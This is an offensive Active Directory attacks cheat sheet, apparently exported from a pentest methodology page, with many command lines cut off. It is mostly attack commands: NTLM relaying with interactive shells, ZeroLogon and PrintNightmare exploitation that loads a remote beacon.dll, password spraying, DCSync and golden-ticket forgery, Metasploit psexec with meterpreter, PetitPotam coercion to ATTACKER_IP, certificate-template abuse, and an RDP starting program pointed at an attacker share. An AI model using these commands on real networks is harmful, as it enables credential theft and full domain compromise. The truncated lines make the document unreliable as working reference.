Active Directory Attacks Cheat Sheet
Active Directory Attacks Cheat Sheet
Summary
Tools
Impacket or the Windows version
Responder
InveighZero
Mimikatz
Ranger
AdExplorer
CrackMapExec
# use the latest release, CME is now a binary packaged will all its dependencies
root@payload$ wget https://tinyurl.com/2yajgbrm/releases/download/v5.0.1dev/cme-
Mitm6
git clone https://tinyurl.com/2c78r5xf && cd mitm6
pip install .
mitm6 -d lab.local
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
# -wh: Server hosting WPAD file (Attacker’s IP)
# -t: Target (You cannot relay credentials to the same device that you’re spoofi
# -i: open an interactive shell
ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
ADRecon
Ping Castle
Kerbrute
Rubeus
AutomatedLab
In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all
Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The
default clock skew tolerance in Kerberos is 5 minutes , which means that the difference in time
between the clocks of any two Kerberos entities should be no more than 5 minutes.
Using BloodHound
Use the correct collector
Using PowerView
Get Current Domain: Get-NetDomain
Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or ker
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."kerberos policy"
Get-NetDomainController
Get-NetDomainController -Domain <DomainName>
Enumerate Domain Users:
Get-NetUser
Get-NetUser -SamAccountName <user>
Get-NetUser | select cn
Get-UserProperty
Get-NetComputer -FullData
Get-DomainGroup
#Returns all GPOs in a domain that modify local group memberships through Restri
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
Enumerate Shares
#Enumerate Domain Shares
Find-DomainShare
Get-NetGPO
Enum OUs:
Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
Enum ACLs:
#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
Get-NetDomainTrust
Get-NetDomainTrust -Domain <DomainName>
User Hunting:
#Finds all machines on the current domain where the current user has local admin
Find-LocalAdminAccess -Verbose
Using AD Module
Get Current Domain: Get-ADDomain
Get-ADTrust -Filter *
Get-ADTrust -Identity <DomainName>
Get-ADForest
Get-ADForest -Identity <ForestName>
nslookup domain.com
nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com
nltest /dclist:domain.com
Get-ADDomainController -filter * | Select-Object name
gpresult /r
$Env:LOGONSERVER
echo %LOGONSERVER%
RPCClient
WMI
Powerview
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
Doc: https://tinyurl.com/29u5o4ld
Mitigations
Ensure the DCPromo process includes a patch QA step before running DCPromo that
checks for installation of KB3011780. The quick and easy way to perform this check is with
PowerShell: get-hotfix 3011780
ZeroLogon
CVE-2020-1472
# Check (https://tinyurl.com/y2h27qku)
proxychains python3 zerologon_tester.py DC01 172.16.1.5
privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
This technique, found by dirkjanm, requires more prerequisites but has the advantage of having
no impact on service continuity. The following prerequisites are needed:
A domain account
PrintNightmare
CVE-2021-1675 / CVE-2021-34527
Requirements:
Impacket - rpcdump
Payload Hosting:
When using WebDav instead of SMB, you must add @[PORT] to the hostname in the URI, e.g.:
\\172.16.1.5@8888\Downloads\beacon.dll WebDav client must be activated on exploited
target. By default it is not activated on Windows workstations (you have to net start
webclient ) and it's not installed on servers. Here is how to detect activated webdav:
SharpNightmare
Invoke-Nightmare
Mimikatz v2.2.0-20210709+
## LPE
misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dl
## RCE
misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdom
PrintNightmare - @outflanknl
Debug informations
samAccountName spoofing
During S4U2Self, the KDC will try to append a '$' to the computer name specified in the
TGT, if the computer name is not found. An attacker can create a new machine account
with the sAMAccountName set to a domain controller's sAMAccountName - without the '$'.
For instance, suppose there is a domain controller with a sAMAccountName set to 'DC$'.
An attacker would then create a machine account with the sAMAccountName set to 'DC'.
The attacker can then request a TGT for the newly created machine account. After the TGT
has been issued by the KDC, the attacker can rename the newly created machine account
to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and
request a ST to itself as any user. Since the machine account with the sAMAccountName
set to 'DC' has been renamed, the KDC will try to find the machine account by appending a
'$', which will then match the domain controller. The KDC will then issue a valid ST for the
domain controller.
Requirements
MachineAccountQuota > 0
Exploitation
powermad@windows> . .\Powermad.ps1
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlain
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Passw
powershell@windows> . .\Powerview.ps1
powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=doma
# https://tinyurl.com/297pz672
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name
# https://tinyurl.com/248qapdk
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate
Automated exploitation:
cube0x0/noPac - Windows
Ridter/noPac - Linux
WazeHell/sam-the-admin
Mitigations:
Open Shares
Some shares can be accessible without authentication, explore them to find some juicy files
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //
ls # list files
cd # move inside a folder
get # download files
put # replace a file
snaffler.exe -s - snaffler.log
# Crop can be used to create various file types that will trigger SMB/WebDAV connect
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
SCF Files
Drop the following @something.scf file inside a share and start listening with Responder :
responder -wrf --lm -v -I eth0
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
Using crackmapexec :
URL Files
This attack also works with .url files and responder -I eth0 -v .
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES
key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption
e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -ae
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdY
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
CrackMapExec modules
Get-GPPPassword
# pass-the-hash
Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_
Mitigations
Install KB2962486 on every computer used to manage GPOs which prevents new
credentials from being placed in Group Policy Preferences.
Delete existing GPP xml files in SYSVOL containing passwords.
Don’t put passwords in files that are accessible by all authenticated users.
Creators of a GPO are automatically granted explicit Edit settings, delete, modify security,
which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete,
GenericRead, WriteDacl, WriteOwner
:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
:warning: Domain members refresh group policy settings every 90 minutes with a random offset
of 0 to 30 minutes but it can locally be forced with the following command: gpupdate /force .
PS> . .\PowerGPOAbuse.ps1
# Adding a localadmin
PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'
# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
NTDS.dit file
SYSTEM hive ( C:\Windows\System32\SYSTEM )
Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and
systemroot\System32\ntds.dit .
However you can change the location to a custom one, you will need to query the registry to get
the current location.
DCSync Attack
DCSync is a technique used by attackers to obtain sensitive information, including password
hashes, from a domain controller in an Active Directory environment. Any member of
Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer
accounts are able to run DCSync to pull password data.
:warning: OPSEC NOTE: Replication is always done between 2 Computers. Doing a DCSync
from a user account can raise alerts.
windows-commands/vssadmin
windows-commands/ntdsutil
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
Recommended wordlists:
Rockyou.txt
Have I Been Pwned founds)
Weakpass.com
Read More at Methodology and Resources/Hash Cracking.md
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r myr
:warning: If the password is not a confidential data (challenges/ctf), you can use online "cracker"
like :
hashmob.net
crackstation.net
hashes.com
The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can
be extracted by a domain admin. This means the hashes can be trivially reversed to the cleartext
values, hence the term “reversible encryption”.
User Hunting
Sometimes you need to find a machine where a specific user is logged in.
You can remotely query every machines on the network to get a list of the users's sessions.
CrackMapExec
Impacket Smbclient
$ impacket-smbclient [email protected]
# who
host: \\10.10.10.10, user: Administrator, active: 1, idle: 0
PowerView Invoke-UserHunter
Password spraying refers to the attack method that takes a large number of usernames and
loops them with a single password.
The builtin Administrator account (RID:500) cannot be locked out of the system no matter
how many failed logon attempts it accumulates.
$Companyname1 : $Microsoft1
SeasonYear : Winter2019* , Spring2020! , Summer2018? , Summer2020 , July2020!
Default AD password with simple mutations such as number-1, special character iteration
(*,?,!,#)
Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon
failure event (4625), but rather with specific logs to Kerberos pre-authentication failure
(4771).
Username bruteforce
Password bruteforce
Password spray
# https://tinyurl.com/2dgs7sa4
Invoke-DomainPasswordSpray -Password Summer2021!
# /!\ be careful with the account lockout !
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList
Using SMBAutoBrute .
BadPwdCount attribute
The number of times the user tried to log on to the account using an incorrect password. A
value of 0 indicates that the value is unknown.
There are 3-4 fields that seem to be common in most AD schemas: UserPassword ,
UnixUserPassword , unicodePwd and msSFU30Password .
When you attempt to login using the credential you should have the following error code :
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT .
Then you need to change the password with rpcchangepwd.py
From Windows:
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*
([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=M
PowerView
LAPSToolkit
$ Get-LAPSComputers
ComputerName Password Expirati
------------ -------- --------
example.domain.local dbZu7;vGaI)Y6w1L 02/21
$ Find-LAPSDelegatedGroups
$ Find-AdmPwdExtendedRights
Powershell AdmPwd.PS
From Linux:
CrackMapExec:
LAPSDumper
ldapsearch
User accounts created to be used as service accounts rarely have their password changed.
Group Managed Service Accounts (GMSAs) provide a better approach (starting in the
Windows 2012 timeframe). The password is managed by AD and automatically rotated
every 30 days to a randomly generated password of 256 bytes.
# https://tinyurl.com/2yt5mdu6
GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
gMSADumper (Python)
# https://tinyurl.com/27xutao6
python3 gMSADumper.py -u User -p Password1 -d domain.local
One notable difference between a Golden Ticket attack and the Golden GMSA attack is
that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is
compromised, there is no way to protect the gMSAs associated with it.
:warning: You can't "force reset" a gMSA password, because a gMSA's password never
changes. The password is derived from the KDS root key and
ManagedPasswordIntervalInDays , so every Domain Controller can at any time compute what
the password is, what it used to be, and what it will be at any point in the future.
Using GoldenGMSA
# Enumerate all gMSAs
GoldenGMSA.exe gmsainfo
# Query for a specific gMSA
GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112
Kerberos Tickets
Tickets are used to grant access to network resources. A ticket is a data structure that contains
information about the user's identity, the network service or resource being accessed, and the
permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime
and expire after a set period of time, typically 8 to 12 hours.
Ticket Granting Ticket (TGT): The TGT is obtained by the user during the initial
authentication process. It is used to request additional service tickets without requiring the
user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an
encryption of the user's secret key.
Service Ticket (ST): The service ticket is used to access a specific network service or
resource. The user presents the service ticket to the service or resource, which then uses
the ticket to authenticate the user and grant access to the requested resource. The service
ticket contains the user's identity, a timestamp, and an encryption of the service's secret
key.
A credential cache, or "ccache" is a temporary storage area for Kerberos tickets that are
obtained during the authentication process. The ccache contains the user's authentication
credentials and is used to access network resources without having to re-enter the user's
credentials for each request.
While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient
access to network resources, they differ in format and structure. You can convert them easily
using:
The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main
differences are that, in this case, no service SPN must be specified to ticketer.py, and the
krbtgt NT hash must be used.
Using Mimikatz
Using Meterpreter
export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
# NOTE: You may need to comment the proxy_dns setting in the proxychains configurati
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/[email protected]
If you need to swap ticket between Windows and Linux, you need to convert them with
ticket_converter or kekeo .
Mitigations:
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-134912914
Service
Service Type Silver Attack
Tickets
wmic.exe /authority:"kerberos:DOMAIN\DC01"
HOST +
WMI /node:"DC01" process call create "cmd /c
RPCSS
evil.exe"
CIFS +
PowerShell New-PSSESSION -NAME PSC -ComputerName DC01;
HTTP +
Remoting Enter-PSSession -Name PSC
(wsman?)
Windows File
CIFS dir \\dc01\c$
Share (CIFS)
LDAP operations
lsadump::dcsync /dc:dc01 /domain:domain.local
including Mimikatz LDAP
/user:krbtgt
DCSync
Windows Remote
RPCSS +
Server
LDAP + /
Administration
CIFS
Tools
Mitigations:
Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral
movement with the generated ticket.
Require:
krbtgt NT Hash
krbtgt AES key
The goal is to mimic the PAC field as close as possible to a legitimate one.
Require:
Impacket PR#1411
krbtgt AES key
Kerberoasting
"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used
by Kerberos authentication to associate a service instance with a service logon account. " -
MSDN
Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket
is received, password cracking can be done offline on the ticket to attempt to break the
password for whatever user the service is running as.
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84
CrackMapExec Module
# Stats
Rubeus.exe kerberoast /stats
------------------------------------- ----------------------------------
| Supported Encryption Type | Count | | Password Last Set Year | Count |
------------------------------------- ----------------------------------
| RC4_HMAC_DEFAULT | 1 | | 2021 | 1 |
------------------------------------- ----------------------------------
PowerView
targetedKerberoast
# for each user without SPNs, it tries to set one (abuse of a write permission o
# print the "kerberoast" hash, and delete the temporary SPN set for that operati
targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--reque
Then crack the ticket using the correct hashcat mode ( $krb5tgs$23 = etype 23 )
Mode Description
Mitigations:
Have a very long password for your accounts with SPNs (> 32 characters)
Make sure no users have SPNs
KRB_AS_REP Roasting
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be
successfully requested for the user, and a component of the structure can be cracked
offline a la kerberoasting
Requirements:
Rubeus
[email protected]:858B6F645D9F9B57210292E5711E0...(snip)...
# extract hashes
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile user
root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4r
CrackMapExec Module
Mitigations:
CVE-2022-33679
CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the
RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known
plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-
authentication disabled and the attack is unauthenticated meaning we don’t need a client’s
password..
Requirements:
using CVE-2022-33679.py
Mitigations:
Timeroasting
Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows
Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the
built-in RID 500.
Metasploit
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` att
# NOTE2: Require the full NT hash, you may need to add the "blank" LM (aad3b435b
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
CrackMapExec
Impacket suite
proxychains python ./psexec.py [email protected] -hashes :489a04c09a5debbc9b9753
You can extract the local SAM database to find the local administrator hash :
In this technique, instead of passing the hash directly, we use the NT hash of an account to
request a valid Kerberost ticket (TGT).
Using impacket
Using Rubeus
# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to en
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt
Net-NTLM (NTLMv1) hashes are used for network authentication (they are derived from a
challenge/response algorithm and are based on the user's NT hash.
Requirements:
Exploitation:
HTTPS = On
DNS = On
LDAP = On
...
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = 1122334455667788
If you got some NTLMv1 hashes , you need to format them to submit them on crack.sh
Now you can DCSync using the Pass-The-Hash with the DC machine account
:warning: NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not
quite ideal for the attack, but it can be used.
Mitigations:
Set the Lan Manager authentication level to Send NTLMv2 responses only. Refuse LM &
NTLM
If any user in the network tries to access a machine and mistype the IP or the name, Responder
will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison
LLMNR , MDNS and NETBIOS requests on the network.
# https://tinyurl.com/zue3sty
$ sudo ./Responder.py -I eth0 -wfrd -P -v
# https://tinyurl.com/28plsnyw
PS > .\inveighzero.exe -FileOutput Y -NBNS Y -mDNS Y -Proxy Y -MachineAccounts Y -DH
# https://tinyurl.com/2yt24nd2
PS > Invoke-Inveigh [-IP '10.10.10.10'] -ConsoleOutput Y -FileOutput Y -NBNS Y –mDNS
This vulnerability allows an attacker to redirect an incoming SMB connection back to the
machine it came from and then access the victim machine using the victim’s own
credentials.
https://tinyurl.com/yyhlsjdm/tree/master/MS08-068
Then we can use a tool to poison LLMNR , MDNS and NETBIOS requests on the network such as
Responder and use ntlmrelayx to add our computer.
# On first terminal
sudo ./Responder.py -I eth0 -wfrd -P -v
# On second terminal
sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer
It is required here to relay to LDAP over TLS because creating accounts is not allowed over an
unencrypted connection.
1. Open the Responder.conf file and set the value of SMB and HTTP to Off .
[Responder Core]
; Servers to start
...
SMB = Off # Turn this off
HTTP = Off # Turn this off
# the socks proxy can then be used with your Impacket tools or CrackMapExec
$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1
$ proxychains impacket-mssqlclient DOMAIN/[email protected] -windows-auth
$ proxychains crackmapexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT
Mitigations:
Disable NBT-NS
This can be achieved by navigating through the GUI to Network card > Properties
# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6
# -d is the domain name that we filter our request on - the attacked domain
# -i is the interface we have mitm6 listen on for events
mitm6 -i eth0 -d $domain
Using any AD account, connect over SMB to a victim Exchange server, and trigger the
SpoolService bug. The attacker server will connect back to you over SMB, which can be
relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP
authentication, grant DCSync privileges to the attacker account. The attacker account can
now use DCSync to dump all password hashes in AD
Using any AD account, connect over SMB to the victim server, and trigger the SpoolService
bug. The attacker server will connect back to you over SMB, which can be relayed with a
modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant
Resource Based Constrained Delegation privileges for the victim server to a computer
account under the control of the attacker. The attacker can now authenticate as any user on
the victim server.
Requirements:
# https://tinyurl.com/28nzf7x3
Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can b
Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-use
Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
Terminal> psexec.py 'LAB/winrm_user_1:[email protected]'
ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to
create a new machine account, print the account's name and password and modifies the
delegation rights of it.
Requirement:
WebClient service
Exploitation:
webclientservicescanner 'domain.local'/'user':'password'@'machine'
crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav
GetWebDAVStatus.exe 'machine'
# PrinterBug
dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/rand
SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"
# PetitPotam
Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/ra
PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP"
pyrdp-mitm.py <IP>
pyrdp-mitp.py <IP>:<PORT> # with custom port
pyrdp-mitm.py <IP> -k private_key.pem -c certificate.pem # with custom key and certi
Exploitation
If Network Level Authentication (NLA) is enabled, you will obtain the client's
NetNTLMv2 challenge
If NLA is disabled, you will obtain the password in plaintext
Other features are available such as keystroke recording
Alternatives
S3th: https://tinyurl.com/26sfgw9x performs ARP spoofing prior to launching the RDP
listener
Requirements
Template that allows for AD authentication
ENROLLEE_SUPPLIES_SUBJECT flag
[PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU
(Extended/Enhanced Key Usage)
Exploitation
Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to
impersonate)
# request certificates for the machine account by executing Certify with the "/m
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /alt
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --a
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid
Move the cert.pfx to the target machine filesystem and request a TGT for the altname user
using Rubeus
WARNING: These certificates will still be usable even if the user or computer resets their
password!
Exploitation
Find template
Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of
other another user
Using Certipy
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
If this flag is set on the CA, any request (including when the subject is built from Active
Directory) can have user defined values in the subject alternative name.
Exploitation
Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the
EDITF_ATTRIBUTESUBJECTALTNAME2 flag.
Certify.exe cas
Request a certificate for a template and add an altname, even though the default User
template doesn't normally allow to specify alternative names
Mitigation
Detect CAs that allow low privileged users the ManageCA or Manage Certificates
permissions
# Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /p
# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA
# ADCSPwn arguments
adcs - This is the address of the AD CS server which authentica
secure - Use HTTPS with the certificate service.
port - The port ADCSPwn will listen on.
remote - Remote machine to trigger authentication from.
username - Username for non-domain context.
password - Password for non-domain context.
dc - Domain controller to query for Certificate Templates (LD
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Peti
output - Output path to store base64 generated crt.
Scenario
Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
certipy req -username [email protected] -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName in the certificate is Administrator
# the issued certificate contains no "object SID"
Authenticate with the certificate and receive the NT hash of the [email protected]
user.
Requirements:
Exploitation:
Certifried CVE-2022-26923
An authenticated user could manipulate attributes on computer accounts they own or
manage, and acquire a certificate from Active Directory Certificate Services that would
allow elevation of privilege.
Find ms-DS-MachineAccountQuota
[ALTERNATIVE] If you are SYSTEM and the MachineAccountQuota=0 : Use a ticket for the
current machine and reset its SPN
Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=
Request a ticket
Either use the pfx or set a RBCD on your machine account to takeover the domain
Pass-The-Certificate
Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and
"Shadow Credential"
Windows
Linux
# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'do
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unp
Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.
Windows
Linux
Shadow Credentials
Add Key Credentials to the attribute msDS-KeyCredentialLink of the target
user/computer object and then perform Kerberos authentication as that account using
PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC
will check that the authenticating user has knowledge of the matching private key, and a
TGT will be sent if there is a match.
:warning: User objects can't edit their own msDS-KeyCredentialLink attribute while computer
objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can
only add a KeyCredential if none already exists
Requirements:
Exploitation:
Scenario:
Scenario 1: Shadow Credential relaying
# Only for C2: Add Reverse Port Forward from 8081 to Team Server 81
AdminSDHolder Abuse
The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy
permissions to all "protected groups" in Active Directory and their members. Protected
groups include privileged groups such as Domain Admins, Administrators, Enterprise
Admins, and Schema Admins.
If you modify the permissions of AdminSDHolder, that permission template will be pushed out
to all protected accounts automatically by SDProp (in an hour). E.g: if someone tries to delete
this user from the Domain Admins in an hour or less, the user will be back in the group.
Restart DNS
SeBackup privileges
SeRestore privileges
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
Exploitation:
mkdir ADFSpoofTools
cd $_
git clone https://tinyurl.com/288gz2k2
git clone https://tinyurl.com/2b239rsq
virtualenv3 venvADFSSpoof
source venvADFSSpoof/bin/activate
pip install lxml
pip install signxml
pip uninstall -y cryptography
cd cryptography
pip install -e .
cd ../ADFSpoof
pip install -r requirements.txt
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --en
/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:tr
WhiskeySAML
ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child
objects by default, attackers can leverage that and hijack traffic. Active Directory will need some
time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol.
The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the
network.
Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR
GenericAll
GenericAll on User : We can reset user's password without knowing the current password
GenericAll on Group : Effectively, this allows us to add ourselves (the user hacker) to the
Domain Admin group :
On Windows:
On Linux:
GenericWrite
Reset another user's password
On Windows:
# https://tinyurl.com/23qt93s8
$user = 'DOMAIN\user1';
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Cr
On Linux:
# Using rpcclient from the Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_us
Now let’s say you are in an Active Directory environment that still actively uses a Windows
Server version that has RCM enabled, or that you are able to enable RCM on a
compromised RDSH, what can we actually do ? Well each user object in Active Directory
has a tab called ‘Environment’.
This tab includes settings that, among other things, can be used to change what program is
started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in
place of the normal graphical environment. The settings in the ‘Starting program’ field
basically function like a windows shortcut, allowing you to supply either a local or remote
(UNC) path to an executable which is to be started upon connecting to the remote host.
During the logon process these values will be queried by the RCM process and run
whatever executable is defined. - https://tinyurl.com/2d6rz79q
:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM
has also been disabled on recent version of Windows (>2016), it requires a registry change to
re-enable.
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
NOTE: To not alert the user the payload should hide its own process window and spawn the
normal graphical environment.
WriteDACL
